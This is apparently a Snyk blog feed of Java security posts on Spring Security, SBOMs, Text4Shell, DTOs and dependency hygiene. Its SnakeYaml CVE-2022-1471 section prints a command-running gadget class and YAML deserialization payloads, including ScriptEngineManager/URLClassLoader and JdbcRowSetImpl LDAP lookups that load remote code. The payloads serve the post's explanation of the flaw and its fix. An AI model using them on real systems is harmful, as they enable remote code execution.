The best and easiest way to fix this is to update your Spring Security version to 5.7.5 or beyond. If you are still on the 5.6.x branch, this problem is fixed in 5.6.9. If you are working with a Spring Boot application, the best thing you can do is update to Spring Boot version 2.7.6 (or beyond) which automatically includes the correct Spring Security version if you are using that.

If you cannot update, you can change your filter definition from authorizeHttpRequests().shouldFilterAllDispatcherTypes(true) to .authorizeRequests().filterSecurityInterceptorOncePerRequest(false). This will ensure that the forward dispatch-type is filtered as expected.

When rewriting the first example in this blog post, the fix looks like this:



@Configuration
public class SecurityConfig {

   @Bean
   public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
       http
               .authorizeRequests()
               .filterSecurityInterceptorOncePerRequest(false)
               .antMatchers("/").permitAll()
               .antMatchers("/forward").permitAll()
               .antMatchers("/admin").hasAuthority("ROLE_ADMIN")
               .and()
               .httpBasic().and()
               .userDetailsService(userDetailsService());
       return http.build();
   }
}

In a similar way, we can add the .filterSecurityInterceptorOncePerRequest(false) in the old way of defining a filter where we had to extend WebSecurityConfigurerAdapter.

Update your dependencies to stay secure

This shows again that keeping your dependencies up to date is crucial. When a security issue like this hits your application and your dependencies are outdated, it will cause you significantly more effort to mitigate the situation. When using SCA scanning capabilities — like from Snyk Open Source — you will have this information and remediation advice as soon as it is available. You can use Snyk for free, and specifically for Java development, I wrote an easy article on how to get started.

Secure your dependencies for free

Find and automatically fix vulnerable dependencies your apps for free.

Unsafe deserialization vulnerability in SnakeYaml (CVE-2022-1471)

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Tue, 13 Dec 2022 19:51:38 +0000

SnakeYaml is a well-known YAML 1.1 parser and emitter for Java. Recently, a vulnerability — CVE-2022-1471 — was reported for this package. This vulnerability can lead to arbitrary code execution. The org.yaml:snakeyaml package is widely used in the Java ecosystem, in part because it is packaged by default with Spring Boot in the spring-boot-starter. In this article, we look into the security vulnerability affecting this Java library, discuss the potential hazardous impact it may have on your applications, and weigh the actual risks.

What is the SnakeYaml security vulnerability?

The SnakeYaml library for Java is vulnerable to arbitrary code execution due to a flaw in its Constructor class. The class does not restrict which types can be deserialized, allowing an attacker to provide a malicious YAML file for deserialization and potentially exploit the system. Thus this flaw leads to an insecure deserialization issue that can result in arbitrary code execution.

What the SnakeYaml vulnerability looks like

Deserializing or marshaling YAML is quite easy with SnakeYaml. Typically you do something like this:

Yaml yaml = new Yaml();
File file = new File("file.yaml");
InputStream inputStream = new FileInputStream(file);
User user = yaml.load(inputStream);

When loading the YAML from the file in the example above, the input gets parsed to the generic Object.class, which is the supertype of all Object in Java. In our code, we expect a User object, but the casting happens after the Object is loaded into memory. Because of the generic Object type, any object can be used. This can lead to arbitrary code execution if there is a gadget or gadget chain available in the classpath of the application.

This is similar to what issues we’ve explored in the articles Serialization and deserialization in Java and Java JSON deserialization problems with the Jackson ObjectMapper.

SnakeYaml vulnerability demo

To demonstrate the vulnerable scenario, I deliberately created a gadget class. A gadget is a class that has a side effect when instantiated, either doing something directly or initiating a gadget chain. In this case, the gadget executes a given command when the constructor is called.

public class Gadget {
   private Runnable command;

   public Gadget(String value) {
       this.command = new Command(value);
       this.command.run();
   }
}

When this Java class is available, and I deserialize my YAML with the code given earlier, I can feed it the following content in the YAML file:

!!nl.brianvermeer.snakeyaml.Gadget ["touch myFile.txt"]

This means I am allowed to specifically target any Java class with SnakeYaml that is available in the classpath. Because the class is already in my classpath, and SnakeYaml creates the object regardless of the intended class, I will end up with a ClassCastException. However, the harm is already done, and the command is executed. Having a gadget or gadget chain available in your classpath can lead to disastrous situations, like a reverse shell attack.

How bad is the SnakeYaml vulnerability in real-world applications?

It’s unlikely that anyone will create a gadget the way we did in the example above. However, bringing in third-party libraries does increase your chances of having gadgets that were created by other people in that manner present in your code. A quick look at the ysoserial GitHub repo, or the list of possible deserialization issues in the jackson-databind JSON marshaling library, shows that the risk potential is high. The difference with jackson-databind is that jackson does not by default enable defaultTyping (as we described in our prior vulnerability mention).

Malicious actors can also use some of the classes within the JDK to do some damage. For example, the ScriptEngine:

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

This YAML input connects to a URL that can download harmful content into your application, as explained in this Websec article.

Another example (depending on the Java version you are running) is the JdbcRowSetImpl class, which can leverage an LDAP request to do a lookup. This can enable similar risks as we have seen with Log4Shell not so long ago.

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:9999/Evil"
autoCommit: true

For more information, take a look at the SnakeYaml Bitbucket issue.

Am I impacted by the SnakeYaml vulnerability?

Whether you are impacted depends on how you use this library. If you are loading custom YAML data from other sources in a similar way to the use of XML and JSON objects, you might be vulnerable! The general rule is that you should not accept these inputs from unknown sources.

In most cases, SnakeYaml will be used by other frameworks like Spring or Helidon to read YAML configurations that are already part of your system. If malicious actors are able to alter these configuration files, you have a different and probably larger problem. So I, personally, don’t think this has a huge impact.

The maintainers of the library dispute the risk associated with this issue. Nevertheless, we simply can’t predict how people are using a library like this.

Proposed mitigation of SnakeYaml vulnerability

As of publication, there is not a new version of this package available. The maintainers did accept a Git pull request that introduces a blocklist for specific artifacts to be deserialized. This is expected to be available in the 1.34 release. For now, it looks like there will be no generic fix for the default behavior.

Note that the SnakeYaml documentation states: _ It is not safe to call Yaml.load() with any data received from an untrusted source! The method Yaml.load() converts a YAML document to a Java object._

Used by default, as shown below.

Yaml yaml = new Yaml(new SafeConstructor());

Always scan your dependencies

As you already know, most of the code in your applications comes from third-party libraries. And since no developer has the time to review all of the code in those libraries, it’s important to scan your dependencies for known vulnerabilities. Snyk makes it easy with real-time scanning, actionable fix advice, and priority scoring so you can maximize the impact of your remediation efforts. Start your free account today.

Secure your third-party dependencies

Find and automatically fix vulnerable open source dependencies for free.

How to create SBOMs in Java with Maven and Gradle

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Tue, 01 Nov 2022 08:36:16 +0000

When building applications in Java, we highly depend on external libraries and frameworks. And each Java package that is imported likely also depends on more libraries. This means that the amount of Java packages included in your application is often not really transparent. As a developer, these nested (transitive) dependencies create the problem that you probably do not know all the libraries you are actually using.

Recently, we discussed why and how we should maintain our dependencies carefully. In the article Best practices for managing Java dependencies, I discussed the options and tools available for setting up a dependency management strategy. But what if you deliver your Java application to a customer? How do they know what dependencies are included? More importantly, how can they check if the dependencies are not vulnerable to security issues? The answer is a software bill of materials.

What is an SBOM?

A software bill of materials, often abbreviated as SBOM, is a list of all software components used in an application. The SBOM is made up of third-party open-source libraries, vendor-provided packages, and first-party artifacts built by the organization. You can basically see it as the full list of ingredients for your applications.

But be careful to not confuse an SBOM with Maven’s Bill Of Materials (BOM). In Maven, a BOM is a special kind of POM file where we can centralize dependencies for an application. In most cases, these dependencies work well together and should be used as a set, like we see in BOMs used in Spring.

An SBOM is something you create next to your application, so any user or client has a uniform way to find out what your application is using under the hood.

Why should I create an SBOM?

There are multiple reasons for creating an SBOM. First of all, you create transparency about what how your application is containing. In most Java applications, 80% to 90% of the produced binary consists of other Java packages like libraries and frameworks.

Nowadays, we see a lot of security issues in the supply chain. The dependencies you use are part of your supply chain, so if a problem is found in one of these libraries, you need to know if an application is vulnerable. Take the recent Log4Shell and Spring4Shell vulnerabilities where certain commonly-used packages were compromised. When an SBOM is provided as part of every release, end users and clients can easily check if vulnerabilities impact them.

The creation of SBOMs is expected to be something that will be common practice, or sometimes even mandatory, when you deliver software. Therefore we feel it is important to cover how to create these SBOMs for your Java project, which we cover in the remainder of this article.

SBOM standards: SPDX and CycloneDX

Currently, there are multiple standards for SBOMs. The two most commonly used are SPDX and CycloneDX. Both of these standards provide a way to show the components your application contains.

The Software Package Data Exchange (SPDX) is a Linux Foundation collaborative project that provides an open standard for communicating software bill of material information, including provenance, licensing, security, and other related information. The SPDX specification is recognized as the international open standard for security, license compliance, and other software supply chain artifacts as ISO/IEC 5962:2021.

CycloneDX is a SBOM standard from the OWASP foundation designed for application security contexts and supply chain component analysis, providing an inventory of all first-party and third-party software components. The specification is rich and extends beyond software libraries to standards such as software as a service bill of materials (SaaSBOM), Vulnerability Exploitability Exchange (VEX), and more. The CycloneDX project provides standards in XML, JSON, and Protocol Buffers, as well as a large collection of official and community-supported tools that create or interoperate with the standard.

When to create an SBOM in Java

Java is a compiled language, so you should create an SBOM whenever you build a release version of your application. Therefore, creating an SBOM when using one of the Java build systems makes a lot of sense, since your build system downloads all the packages you need to compile and build your application. By using a plugin for Maven or Gradle, you can easily create SBOMs with every release of your binary either on a single machine or as part of your CI pipeline

Creating a Java SBOM with Maven

CycloneDX plugin for Maven

There is a CylconeDX plugin available on Maven central and Github that appears to be well-maintained and commonly used.

<plugins>
   <plugin>
       <groupId>org.cyclonedx</groupId>
       <artifactId>cyclonedx-maven-plugin</artifactId>
       <version>2.7.1</version>
       <executions>
           <execution>
               <phase>package</phase>
               <goals>
                   <goal>makeAggregateBom</goal>
               </goals>
           </execution>
       </executions>
       <configuration>
           <projectType>library</projectType>
           <schemaVersion>1.4</schemaVersion>
           <includeBomSerialNumber>true</includeBomSerialNumber>
           <includeCompileScope>true</includeCompileScope>
           <includeProvidedScope>true</includeProvidedScope>
           <includeRuntimeScope>true</includeRuntimeScope>
           <includeSystemScope>true</includeSystemScope>
           <includeTestScope>false</includeTestScope>
           <includeLicenseText>false</includeLicenseText>
           <outputReactorProjects>true</outputReactorProjects>
           <outputFormat>all</outputFormat>
           <outputName>CycloneDX-Sbom</outputName>
       </configuration>
   </plugin>
</plugins>

You can configure the CycloneDX plugin in different ways. In this case, I bound the makeAggregateBom goal of the plugin to the package phase of Maven. After my JAR is created, the plugin will create an SBOM, taking aggregation into account. It excludes the test dependencies and releases the SBOM in both XML and JSON format in my target folder.

All dependencies, both direct and transitive, are mentioned in the SBOM individually like below. The jackson-databind package, in this case, was transitively included in my application via sprint-boot-starter-web.

<component type="library" bom-ref="pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.4?type=jar">
 <publisher>FasterXML</publisher>
 <group>com.fasterxml.jackson.core</group>
 <name>jackson-databind</name>
 <version>2.13.4</version>
 <description>General data-binding functionality for Jackson: works on core streaming API</description>
 <hashes>
   <hash alg="MD5">03cb7aea126610e4c96ca6d14d75cc55</hash>
   <hash alg="SHA-1">98b0edfa8e4084078f10b7b356c300ded4a71491</hash>
   <hash alg="SHA-256">c9faff420d9e2c7e1e4711dbeebec2506a32c9942027211c5c293d8d87807eb6</hash>
   <hash alg="SHA-512">23f32026b181c6c71efc7789a8420c7d5cbcfb15f7696657e75f9cbe3635d13a88634b5db3c344deb914b719d60e3a9bfc1b63fa23152394e1e70b8e7bcd2116</hash>
   <hash alg="SHA-384">e25e844575891b2f3bcb2fdc67ae9fadf54d2836052c9ea2c045f1375eaa97e4780cd6752bef0ebc658fa17400c55268</hash>
   <hash alg="SHA3-384">e6955877c2c27327f6814f06d681118be2ae1a36bc5ff2e84ad27f213203bf77c347ba18d9abc61d5f1c99b6e81f6c2d</hash>
   <hash alg="SHA3-256">88b12b0643a4791fa5cd0c5e30bc2631903870cf916c8a1b4198c856fd91e5f4</hash>
   <hash alg="SHA3-512">7e86a69bcf7b4c8a6949acce0ec15f33b74d5ac604f23cd631ec16bfdfd70d42499028b9d062648b31d7a187ea4dc98ec296a329f4cfd4952744ed1281fa9d9a</hash>
 </hashes>
 <licenses>
   <license>
     <id>Apache-2.0</id>
   </license>
 </licenses>
 <purl>pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.13.4?type=jar</purl>
 <externalReferences><reference type="vcs"><url>http://github.com/FasterXML/jackson-databind</url></reference><reference type="website"><url>http://fasterxml.com/</url></reference><reference type="distribution"><url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url></reference></externalReferences>
</component>

SPDX plugin for Maven (prototype)

For SPDX, there is a Maven plugin as well. However, this is still marked as a prototype. In the example below, I used the latest version (at the time of writing) with a similar configuration as mentioned in the GitHub README. Additionally, I bound the SPDX creation task to the package phase, similar to the CycloneDX example.

<plugin>
   <groupId>org.spdx</groupId>
   <artifactId>spdx-maven-plugin</artifactId>
   <version>0.6.1</version>
   <executions>
       <execution>
           <id>build-spdx</id>
           <phase>package</phase>
           <goals>
               <goal>createSPDX</goal>
           </goals>
       </execution>
   </executions>
</plugin>

The output by default for this version of the plugin is located in /target/site/{groupId}_{artifactId}-{version}.spdx.json. As the file extension already suggests, the default output is JSON.

Browsing through the output, it surprised me that it only contained the top-level dependencies and not the transitive. Now, this plugin is marked as a prototype, so that could be why. Additionally, I might be doing something wrong. However, reading the docs did not give me a clear hint.

SPDX CLI tool for Maven

Alternatively, there is command line tool available called spdx-sbom-generator. This CLI tool can generate SPDX SBOMs for many package managers, including Maven for Java applications. Gradle is currently not supported.

Calling this tool from the command line without any parameter in the root of my application creates an SBOM for me in the SPDX format. Other outputs like JSON are also supported by using a parameter.

./spdx-sbom-generator

This generated SBOM seems to have all transitive dependencies individually mentioned, as I assumed it should.

##### Package representing the jackson-databind

PackageName: jackson-databind
SPDXID: SPDXRef-Package-jackson-databind-2.13.4
PackageVersion: 2.13.4
PackageSupplier: Organization: jackson-databind
PackageDownloadLocation: https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind/2.13.4
FilesAnalyzed: false
PackageChecksum: SHA1: 7d03e73aa50d143b3ecbdea2c0c9e158e5ed8021
PackageHomePage: NOASSERTION
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageLicenseComments: NOASSERTION
PackageComment: NOASSERTION

Relationship: SPDXRef-Package-jackson-databind-2.13.4 DEPENDS_ON SPDXRef-Package-jackson-annotations-2.13.4
Relationship: SPDXRef-Package-jackson-databind-2.13.4 DEPENDS_ON SPDXRef-Package-jackson-core-2.13.4

If you want to create SBOMs in the SPDX format I would suggest this tool over the prototype plugin.

Creating a Java SBOM with Gradle

Now let’s take a look at Gradle. While Gradle is less used than Maven, it is still used a substantial amount, and we can definitely say it is a well-adopted build tool in the ecosystem.

CycloneDX for Gradle

There is a CyconeDX plugin available for Gradle. Just like the Maven plugin we discussed earlier, the Gradle plugin is released by the CycloneDX organization on Github with some of the same maintainers as the Maven plugin.

To use the plugin just add it to your plugin block in your Gradle file:

plugins {
   id 'org.cyclonedx.bom' version '1.7.2'
}

You can configure the plugin with a cyclonedxBom block like below

cyclonedxBom {
   includeConfigs = ["runtimeClasspath"]
   skipConfigs = ["compileClasspath", "testCompileClasspath"]
   projectType = "application"
   schemaVersion = "1.4"
   destination = file("build/reports")
   outputName = "CycloneDX-Sbom"
   outputFormat = "all"
   includeBomSerialNumber = true
   componentVersion = "2.0.0"
}

In this example, I also added the line build.finalizedBy('cyclonedxBom') at the end of my Gradle file. Now it will automatically call the cyclonedxBom target after building my application and behave similarly to the Maven plugin. Obviously, this is up to you if and how you want to connect the plugin target.

The output is as expected and similar to what we have seen with the Maven plugin. With the configuration shown above, you will find both a JSON and an XML output of the SBOM in your project’s build folder. So, this plugin is an excellent option for Gradle users to create SBOMs

SPDX for Gradle

Unfortunately, we could not find a real plugin to create SPDX-type SBOMs for Gradle projects. Also, third-party CLI tools are either not available or are not correctly working for Gradle-based Java projects. So, for now, there is no easy way to generate SPDX SBOMs for Gradle.

Creating SBOMs for your Java projects

Building an SBOM when you are building your Java project seems like a practice that will get more popular soon. Letting your build system take care of this makes a lot of sense.

For both Maven and Gradle, plugins are available that create the SBOMs when building your application. Creating SBOMs together with your Java build artifacts is straightforward using these plugins, as we showed above.

Strengthen your software supply chain security

Snyk helps you secure critical components of your software supply chain, including open source libraries, container images, cloud infrastructure, and developer tools.

Learn more

Reviewing CVE-2022-42889: The arbitrary code execution vulnerability in Apache Commons Text (Text4Shell)

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Tue, 18 Oct 2022 18:09:47 +0000

First things first, let’s be clear that this is NOT a new Log4Shell or Spring4Shell vulnerability. Although it is a remote code execution issue, the impact is neither as severe nor as easily exploitable as the issue in Log4j from December 2021.

Similar to the Log4j issue, the essence of the problem is that you can perform a lookup that can then be misused. However, the Log4shell vulnerability was very easy to exploit — which is not necessarily the case this time. In reality, this issue is very similar to CVE-2022-33980, which we wrote an article about earlier this year.

Explaining the Apache commons-text security issues

In the Apache Commons Text library, you can perform the variable interpolation. This allows you to load properties that can be dynamically evaluated.

The issue is in StringLookup, which performs the lookups. These lookups are expressions that can resolve dns records, load values from urls, and execute scripts using a JVM script execution engine. These urls and scripts can originate from remote sources triggering remote code executions if untrusted values are used. This is reported as a high severity vulnerability in CVE-2022-42889, and occurs in versions 1.5.x through 1.9.x.

CVE-2022-42889 examples

Below, you see two examples of these kinds of scripts using either the Nashorn or JavaScript engine. Using the interpolatorStringLookup directly, or via the StringSubstitutor (which is probably more common), will give the same result.

Note that the Nashorn scripting engine is no longer available by default in Java 15 and later versions. So, these scripts will only be executed if you provide a script engine yourself. However, because many enterprises still depend on older versions like Java 8, this can be a serious problem. If you are on the latest LTS version Java 17, neither the JavaScript nor the Nashorn script will execute, as there is no engine available by default.

Remediation for CVE-2022-42889

Let me again emphasize that this is not Log4Shell all over again. You probably don’t use StringLookup yourself, but you do not know if any of your transitive libraries are. The easiest way to resolve this issue is upgrading to commons-text version 1.10 (or later), which disables the prefixes URL, DNS, and script by default — and making arbitrary code execution impossible via this route.

Scanning with Snyk can help determine if this vulnerability is present in your stack. If detected, update to version 1.10 and run snyk monitor in the CLI to continue monitoring in production.

Scan your code for free

Create a Snyk account today to protect your code from CVE-2022-42889 and millions of other vulnerabilities.

How to use Java DTOs to stay secure

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Tue, 11 Oct 2022 15:40:36 +0000

Data Transfer Objects (DTOs) in Java are objects that transport data between subsystems. It is an enterprise design pattern to aggregate data. The main purpose is to reduce the number of system calls needed between the subsystems, reducing the amount of overhead created.

In this article, I will explain how DTOs are used in modern Java applications, ways your application can benefit, and how Java DTOs can help you be more secure by preventing accidental data leaks.

What is a POJO, Java Bean, and Value Object

As the name already suggested, a Plain Old Java Object (POJO) is an ordinary Java Object. It can be any class and isn’t bound to any specific restrictions other than the ones prescribed by the Java language. They are created for re-usability and increased readability.



public class CoffeePOJO {

   public String name;
   private List<String> ingredients;

   public CoffeePOJO(String name, List<String> ingredients) {
       this.name = name;
       this.ingredients = ingredients;
   }

   void addIngredient(String ingredient) {
       ingredients.add(ingredient);
   }
}

A Java Bean is a POJO according to the JavaBean standard. According to this standard, all properties are private, and will be accessed with getter and setter methods. Additionally a no-arg constructor should be present, along with a few more things.

So, this means that while all Java Beans are POJOs, not all POJOs are Java Beans.



public class CoffeeBEAN implements Serializable {

   private String name;
   private List<String> ingredients;

   public CoffeeBEAN() {
   }

   public String getName() {
       return name;
   }

   public void setName(String name) {
       this.name = name;
   }

   public List<String> getIngredients() {
       return ingredients;
   }

   public void setIngredients(List<String> ingredients) {
       this.ingredients = ingredients;
   }
}

A Value Object is a small object that represents a simple data entity. However, a value object doesn’t typically have an identity. Value objects are not currently available in Java, but JDK maintainers are working to add them as part of JEP 401. For now, we have to create a POJO to do the work for us.

Implementing a Data Transfer Object

A DTO can be implemented as a POJO — or a Java Bean for that matter. The most important thing is that a DTO separates concerns between entities like the presentation layer and the domain model, for example.

Let’s take a small rest service to explain this. Say we have a coffee store with coffees and customers. Both of these are separate domain entities in the system. If I want to know a customer’s favorite coffee, I’ll create an API that provides the aggregate data represented in the FavoriteCoffeDTO.

The code looks something like this:



public class Coffee {

   private Long id;
   private String name;
   private List<String> ingredients;
   private String preparation;

}

public class Customer {

   private Long id;
   private String firstName;
   private String lastName;
   private List<Coffee> coffees;

}

public class FavoriteCoffeeDTO {

   private String name;
   private List<String> coffees;

}

I separated the domain layer from the presentation layer in the implementation above, allowing my controller to now handle mapping the two domain entities to the DTO.

In this example, I made the fields private, meaning I have to create getter and setter methods to access the fields. Users often choose to follow the JavaBean standard either completely or partially for DTO. This isn’t mandatory of course, you’re free to choose whatever method suits your needs. Other options include making all fields public and accessing them directly (like the example below), or making the object immutable with an all-args constructor and some getter methods.



public class FavoriteCoffeeDTO {

   public String name;
   public List<String> coffees;

}

String name = favCoffeeDTO.name;

Lastly, if you updated to a more recent version of Java, you might want to use Java records for your DTO’s. Java Records are simple immutable classes that automatically provide you with an all-args constructor, access methods, toString(), and hashCode() without defining them. This makes your code less verbose and more readable. Notice that records do not follow the Java Bean specification, since the access methods do not have a get or set prefix.



public record FavoriteCoffeeDTO(String name, List<String> coffees) {}

String name = favoriteCoffeeDTO.name();

What makes a good DTO?

The purpose of a DTP is to carry data between processes. Therefore, a good DTO only contains the information needed for that specific part of the system. In our API example, we only need to return the name of the customer and their favorite coffee order. There is no need to add anything else, such as business logic. The general advice is to keep your DTOs as simple, small, and straightforward as possible.

Also after a DTO is initialized, its state shouldn’t change or evolve. This means that an immutable data structure would be a great fit for a DTO. As a DTO only carries data that should be unaltered, a Java Record would be a great fit — especially because JSON serialization libraries like Jackson support Java Records.

DTO security considerations

We already noticed that we decouple the Domain model from the presentation layer with this DTO pattern. Simple DTOs that only contain the data needed for this subsystem or API, without any business logic, can also improve your security.

What we see in many proofs of concepts is that domain entries are fully outputted. This can lead to unnecessary data being available outside of the system and potential data leaks.

Say our API has a function to find all customers, but does not use a DTO:



@GetMapping("/customers")
public List<Customer> getAllCustomers(){
   return repository.findAll();       
}

If our customer object is the same as in our previous example, we are already displaying too much information. Do we actually need the id or the list of favorite coffees? It gets worse if we decide to attach more information to the customer, like a home address.



public class Customer {
   private Long id;
   private String firstName;
   private String lastName;
   private List<Coffee> coffees;
   Private String homeAddress;

}

If we don’t filter in our endpoint, we suddenly create a data breach, since providing a full name and home address is considered a privacy breach in many countries. Decoupling the API from the data model with a DTO would have prevented this because the mapper controller would only populate necessary fields in the DTO. Even when we decide to add something to our domain model afterwards, using a DTO prevents us from essentially leaking personally identifiable information.



public class CustomerDTO {

   private String firstName;

   private String lastName;

}

Recommendations

Using DTOs in Java to decouple subsystems is generally a good idea. From an engineering perspective, it will reduce roundtrips between the different layers and form a security angle it will help prevent accidental data leaks. In terms of security, I would recommend making your DTOs specific and limiting the amount of reuse. If you are reusing your DTOs for different functions, you should clearly understand where these DTO’s are used before changing them.

In general, keep your DTOs concise, free of business logic if possible, and only provide the data needed for specific functions. Lastly, I believe that immutability is a natural fit for DTOs, making Java Records — which was fully released in Java 16 — a great way to implement DTOs in Java.

Check out the following resources to learn more about Java security:

Secure your Java code with Snyk

Create a free Snyk account to find and fix vulnerabilities in your Java applications.

Best practices for managing Java dependencies

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Fri, 26 Aug 2022 17:34:29 +0000

Creating Java applications is great, and many resources are available. To speed up development, many folks use frameworks and libraries that do some of the heavy lifting. When looking at modern Java applications, almost all of them contain dependencies from libraries developed by someone else.

Dependencies take up about 80 to 90 percent of the binary — so, we should take good care of them when creating a Java project. In this article, I’ll give you some advice and best practices for dealing with Java dependencies in your project.

Why be more aware of your Java dependencies
Managing Java dependencies
Including dependencies in your Java projects
Update your Java dependencies
Removing Java dependencies from your project

Why be more aware of your Java dependencies

When it comes to managing code contributions, we generally turn to a process like code reviews for a first-pass quality assurance measure, before merging new code into our main branch. Check out our guide to Java code review tools to learn more. Practicing pair programming is another way to cover this quality control process.

However, how we treat our dependencies differs greatly from how we treat our own code. On many occasions, dependencies are used without any form of validation. And on many occasions, those top-level dependencies pull in transitive dependencies, which can go multiple levels deep. For example, a 200 line Spring application with five direct dependencies can end up using 60 dependencies in total, which amounts to almost half a million lines of code being shipped to production.

Updating Java dependencies in legacy projects can be challenging. If they’re outdated, you’ll end up with a domino effect of compatibility issues, and updating a single library might mean updating several because of a bug or security issue. If these Java dependencies change their API, you would need to rewrite your application in full.

Additionally, in many major enterprise applications, dependencies stay in the manifest file, even if they’re no longer used in the code. These unused dependencies are still available in your program.

All of this can lead to:

Larger binaries that use more resources or start-up time
Possible collision in libraries when adding new dependencies.
Outdated libraries that contain bugs or security issues
Compatibility problems when updating libraries
And more

Managing Java dependencies

One of the best practices for significantly using repositories, like Maven Central, is to set up your own repositories manager. This is a dedicated proxy server between your internal development and the public repositories — which will not only gives you faster and more stable builds, but also allows you to set up policies for Java packages. You can, for instance, block certain versions so they cannot be downloaded and used in your applications.

For more information about repository managers and a list of possible products, take a look at the Maven documentation.

Including new dependencies in your Java project

When you need to solve a problem, and there is a library available, you’ll likely want to include it in your Java dependency manifest files. However, before including, you should consider:

Does it solve the problem?

The main reason for importing a package is to solve your problem. The question is whether the dependency you chose can do this. Also, does it solve the whole problem without introducing new challenges? If this isn’t the case, there might be better solutions out there.

Do I need the (whole) package?

Is it worth importing a large dependency, with many functions and data types, if you only need a single function? Sometimes, it might be easier and more manageable to write that function yourself. For instance, does it make sense to include entire Eclipse Collections if I only want to use the Tuple data type? Probably not.

A quick look at mvnrepository.com shows me that this package is about 10MB

Also, check to see if the dependencies you already have can do the job for you. Some similar functions or data types might already be available. On the other hand, including a new, extensive library can help you solve multiple problems at once — it all depends on the situation.

How many contributors are there?

We have a pretty low bus factor if the Java dependency you use has only one or just a few maintainers. What happens if the maintainer decides to quit, or doesn’t have time to fix a bug? Alternatively, you might also choose to contribute to the project yourself — making it more secure for everyone involved.

But, before including any dependencies in your project, be sure to check the core repository and see how many active maintainers there are.

Is it still maintained?

If a package is no longer maintained you definitely do not want to rely on it. Before integrating a package, check if there are new pushes on the GitHub repository, and take a look at the release cycle of a package. This will give you an idea of how well maintained the package is.

What is the latest version of the package?

Code examples can give you great insight on a particular Java dependency. However, these examples might be outdated, and the intended package might already be updated. Consider using the latest stable version. For Eclipse Collections, we see that the latest stable release is 11.1.0 from July 5, 2022 on mvnpackage.com. Consider using that version.

Note that the 11.1.0.M2 is also listed in this image. This is clearly a pre-release version. You should only include stable release versions in your production application unless you are absolutely sure. As a rule of thumb, please do not include versions that have a qualifier, like:

alpha or a
beta or b
milestone or m
rc or cr
snapshot

If a Java dependency has the qualifier GA or final, you can generally consider it a stable release version.

Are there any security vulnerabilities?

Before you actively depend on a Java package, make sure you scan it for known vulnerabilities. The Snyk CLI is a great tool for scanning your Maven or Gradle file. If your library contains a security vulnerability, you might want to pick another package to depend on.

Update your Java dependencies

Are there newer versions available?

You don’t want to manually check every Java dependency you have to see if newer versions are available. Luckily, there are easier ways to do this. By using plugins in your package manager you can automatically verify your dependencies as often as you’d like — in every build, for example.

Be aware that your tools might point you to beta or pre-release versions. It is highly advised that you only use stable release versions of a library.

Maven example

In Maven, you can use the versions plugin like below. No need to put anything specific in your pom.xml



mvn versions:display-dependency-updates

Gradle example

For Gradle, we have to include a plugin like the versions plugin from ben-manes.



plugins {
  id "com.github.ben-manes.versions" version "0.42.0"
}

Now we can run a similar command to display newer versions of your libraries.



gradle dependencyUpdates -Drevision=release

IntelliJ IDEA

If you are using IntelliJ IDEA, then the newer versions will underline the dependencies that can be updated. This works for both Maven and Gradle projects.

Snyk

When connecting your GitHub repository to your Snyk account, we can provide you with recommended fixes or updates at every pull request. This, in addition to our comprehensive security advice, can help you keep your Java dependencies up to date.

Are the packages you use still maintained?

It is wise to revisit the GitHub repo, or mvnpackage.com, to see if there are recent updates and commits. If it looks like a package is no longer well maintained, you can choose to maintain it yourself or migrate to another, better updated, library.

However, if you encounter a problem with a dependency that’s critical to your application, consider fixing the problem yourself and contributing that fix to the open-source project. This will be greatly appreciated — and often quicker than submitting issue reports and pushing the maintainer to fix the problem.

Are there security issues with my Java dependencies?

Even if your application is free from vulnerabilities now, it doesn’t mean it will stay that way forever. New vulnerabilities and exploits are discovered and disclosed on a daily bases. This means that you need to rescan your libraries regularly to ensure they remain vulnerability free.

Snyk provides you multiple ways to integrate dependency scanning in your development lifecycle. On your local machine you can use the Snyk CLI, or the integrations for IntelliJ, Eclipse, or VS Code to scan for vulnerabilities. You can also scan during your build cycle with the Maven and Gradle (unofficial) plugin, or choose one of the CI pipeline integrations. Alternatively, you can add your Git repository to Snyk, so we can scan and update your projects for you on a daily basis.

Removing Java dependencies from your project

Is the package still in use?

If a Java dependency is not used anymore, we should remove it from our manifest file. Every package in that file is part of your binary and available on the classpath. Removing unused dependencies will make your binary smaller — and lead to faster startup and download times in addition to better security. Minimizing the dependencies on your classpath is critical to protecting against attacks like a deserialization gadget chain.

A clean desk policy — or in this case a clean app policy — is always highly advisable. Luckily, your package managers can help you with identifying these unused Java dependencies.

Maven example

For Maven I can use thedependency plugin to analyze my dependencies. This plugin checks if the Java dependencies I declare are also used in my code.

In this case, I do not want to get bothered by provided or test dependencies, so I use the ignoreNonCompile flag.



mvn dependency:analyze -DignoreNonCompile

Gradle example

In Gradle we need to add another plugin to analyze dependencies. In this case, we’ll use the nebula.lint plugin. This Gradle linter can analyze the java dependencies you included and see if there are unused dependencies.



plugins {
   id "nebula.lint" version "17.7.0"
}

I have to configure the plugin accordingly to set the gradleLint.rules. You can do this in your Gradle file, or as a command line parameter. In the example below, I choose the latter. Check the plugin documentation for more information on how to configure this plugin for your application.



gradle lintGradle -PgradleLint.rules=unused-dependency

Create a solid dependency management strategy for your Java applications

When developing Java applications and using dependencies like libraries or frameworks, it’s wise to create a strategy for how to handle them. Knowing how to select, update, and remove java dependencies from our application is essential for security. By creating a clear strategy, we prevent surprises when a high priority security issue requires us to update a package.

Check out this article to learn more about managing open source dependencies.

Secure your dependencies for free

Create a Snyk account today for effortless scanning and secure dependencies.

What is a reverse shell attack?!

Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻 — Tue, 23 Aug 2022 21:18:12 +0000

Creating and running an application in your favorite language is usually pretty simple. After you create your application, deploying it and showing it to the world is also quite straightforward. The last thing you need is someone to take over your system and fully control your brand new application. In this article, I'll explain how this can happen with a remote shell attack.

